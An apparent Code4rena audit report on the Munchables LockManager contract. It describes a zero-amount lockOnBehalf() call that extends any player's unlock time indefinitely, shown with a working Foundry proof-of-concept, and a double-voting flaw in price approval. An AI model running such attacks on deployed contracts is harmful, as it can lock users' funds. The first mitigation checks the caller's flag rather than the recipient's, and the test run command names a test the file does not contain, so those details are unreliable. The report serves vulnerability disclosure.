Munchables - 0xAadi's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L382-L384

Vulnerability details

The lockOnBehalf() function in the LockManager contract allows a user to lock tokens on behalf of another address. This function is particularly useful in scenarios where one entity controls the tokens but wishes to assign the locked tokens' benefits or responsibilities to another entity. However, an attacker can exploit this function to extend the unlock time of any player's tokens, effectively locking them forever.

Impact

The attacker can lock a player's tokens indefinitely, preventing the player from unlocking their funds even after the lock duration has been reached.

Proof of Concept

The lockOnBehalf() function calls _lock with the lock recipient address. This function does not ensure any minimum locking amounts. Please see Line 382 in the contract updates the unlock time with the player's lock duration:

382:    lockedToken.unlockTime =
383:        uint32(block.timestamp) +
384:        uint32(_lockDuration);

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L382C9-L384C35

An attacker can call lockOnBehalf() with any amount, including zero, before the player unlocks their funds, thereby increasing the player's unlock time. This allows the attacker to lock the player's funds indefinitely.

Coded POC

To demonstrate the issue, the logLockedTokens() function in src/test/MunchablesTest.sol contract is updated to log the UnlockTime:

    function logLockedTokens(string memory _msg) internal view {
        ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm
            .getLocked(address(this));
        console.log("-------------------------------");
        console.log(_msg);
        for (uint i; i < lockedTokens.length; i++) {
            if (lockedTokens[i].tokenContract == address(0)) {
                console.log(
                    "ETH Locked:",
                    lockedTokens[i].lockedToken.quantity
                );
                console.log(
                    "Remainder:",
                    lockedTokens[i].lockedToken.remainder
                );
+               console.log(
+                   "UnlockTime:",
+                   lockedTokens[i].lockedToken.unlockTime
+               );
            }
        }
        console.log("-------------------------------");
    }

Save the below code in src/test folder as LockManagerTest.t.sol and run forge test --match-path src/test/LockManagerTest.t.sol --match-test testReminder -vv to execute the test.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.25;

import "forge-std/Test.sol";
import "../interfaces/ILockManager.sol";
import {console} from "forge-std/console.sol";
import "./MunchablesTest.sol";

contract LockManagerTest is MunchablesTest {
    uint256 lockAmount = 100e18;
    address attacker = address(1);
    uint256 lockDuration = 90 days;

    function testIncreaseUnlockedTime() public {
        deployContracts();

        // Register Player
        amp.register(MunchablesCommonLib.Realm(3), address(0));

        // Set Lock Duration
        lm.setLockDuration(lockDuration);

        // Lock 100 Ether
        lm.lock{value: lockAmount}(address(0), lockAmount);

        // warp by lock time and check we can unlock
        logPlayer("Player after lock");
        logLockedTokens("After First Lock");

        uint256 unlockTime = block.timestamp + lockDuration;

        console.log("Warping to", unlockTime);
        vm.warp(unlockTime);
        console.log("Warped to:", block.timestamp);

        // Attacker
        deal(attacker, 1000e18);

        // Lock 0 Ether on behalf of the player
        vm.startPrank(attacker);
        lm.lockOnBehalf(address(0), 0, address(this));

        // Here you can see the unlock time increased by 90 days more
        logLockedTokens("After Attack Lock");
        vm.stopPrank();

        // Unlock of player will fail here
        // Players will not able to unlock their fund
        vm.expectRevert(ILockManager.TokenStillLockedError.selector);
        lm.unlock(address(0), lockAmount);
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Add functionality to set a minimum lock amount by players to ensure the users should lock at least the minimum amount while locking on behalf of him. Also, add a mapping that is used to enable and disable on behalf locking.

Sample Code Snippet:

+   // Add a isLockOnBehalfActive which can be set by players to enable/disable on behalf locking
+   mapping(address => bool) isLockOnBehalfActive;
+   function setLockOnBehalfActive(bool isActive) external {
+       isLockOnBehalfActive[msg.sender] = isActive;
+   }

    /// @inheritdoc ILockManager
    function lockOnBehalf(
        address _tokenContract,
        uint256 _quantity,
        address _onBehalfOf
    )
        external
        payable
        notPaused
        onlyActiveToken(_tokenContract)
        onlyConfiguredToken(_tokenContract)
        nonReentrant
    {
        address tokenOwner = msg.sender;
        address lockRecipient = msg.sender;
        if (_onBehalfOf != address(0)) {
+           require(isLockOnBehalfActive[msg.sender]);
            lockRecipient = _onBehalfOf;
        }

        _lock(_tokenContract, _quantity, tokenOwner, lockRecipient);
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L177-L197

Vulnerability details

The approveUSDPrice() function in the LockManager contract is designed to approve a price update proposal, while the disapproveUSDPrice() function is meant to mark disapproval for the proposed price. The vulnerability is, the approveUSDPrice() function allows price feed updaters to mark their approval even after their disapproval to the same proposal without reducing the disapprovalsCount.

Impact

This vulnerability allows price feed updaters to double-cast their votes. This means a price feed updater can disapprove a proposal and then approve it without their disapproval being properly accounted for, potentially manipulating the proposal approval process.

Proof of Concept

The vulnerability lies in the code below. The approveUSDPrice() function checks if the user has already approved in line 194, but it fails to check whether the user has already marked their disapproval.

    function approveUSDPrice(
        uint256 _price
    )
        external
        onlyOneOfRoles(
            [
                Role.PriceFeed_1,
                Role.PriceFeed_2,
                Role.PriceFeed_3,
                Role.PriceFeed_4,
                Role.PriceFeed_5
            ]
        )
    {
        if (usdUpdateProposal.proposer == address(0)) revert NoProposalError();
        if (usdUpdateProposal.proposer == msg.sender)
            revert ProposerCannotApproveError();
194: @> if (usdUpdateProposal.approvals[msg.sender] == _usdProposalId)
            revert ProposalAlreadyApprovedError();
        if (usdUpdateProposal.proposedPrice != _price)
            revert ProposalPriceNotMatchedError();

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L177C1-L197C51

The disapproveUSDPrice() function successfully implements this check, preventing double voting. The checks in the disapproveUSDPrice() function are shown below:

225:    if (usdUpdateProposal.approvals[msg.sender] == _usdProposalId)
226:        revert ProposalAlreadyApprovedError();
227:    if (usdUpdateProposal.disapprovals[msg.sender] == _usdProposalId)
228:        revert ProposalAlreadyDisapprovedError();

Tools Used

Manual Review

Recommended Mitigation Steps

Include a check to ensure that the user has not disapproved the proposal before allowing them to approve it.

Sample code snippet:

    function approveUSDPrice(
        uint256 _price
    )
        external
        onlyOneOfRoles(
            [
                Role.PriceFeed_1,
                Role.PriceFeed_2,
                Role.PriceFeed_3,
                Role.PriceFeed_4,
                Role.PriceFeed_5
            ]
        )
    {
        if (usdUpdateProposal.proposer == address(0)) revert NoProposalError();
        if (usdUpdateProposal.proposer == msg.sender)
            revert ProposerCannotApproveError();
        if (usdUpdateProposal.approvals[msg.sender] == _usdProposalId)
            revert ProposalAlreadyApprovedError();
+       if (usdUpdateProposal.disapprovals[msg.sender] == _usdProposalId)
+           revert ProposalAlreadyDisapprovedError();
        if (usdUpdateProposal.proposedPrice != _price)
            revert ProposalPriceNotMatchedError();

        usdUpdateProposal.approvals[msg.sender] = _usdProposalId;
        usdUpdateProposal.approvalsCount++;

        if (usdUpdateProposal.approvalsCount >= APPROVE_THRESHOLD) {
            _execUSDPriceUpdate();
        }

        emit ApprovedUSDPrice(msg.sender);
    }

Assessed type

Other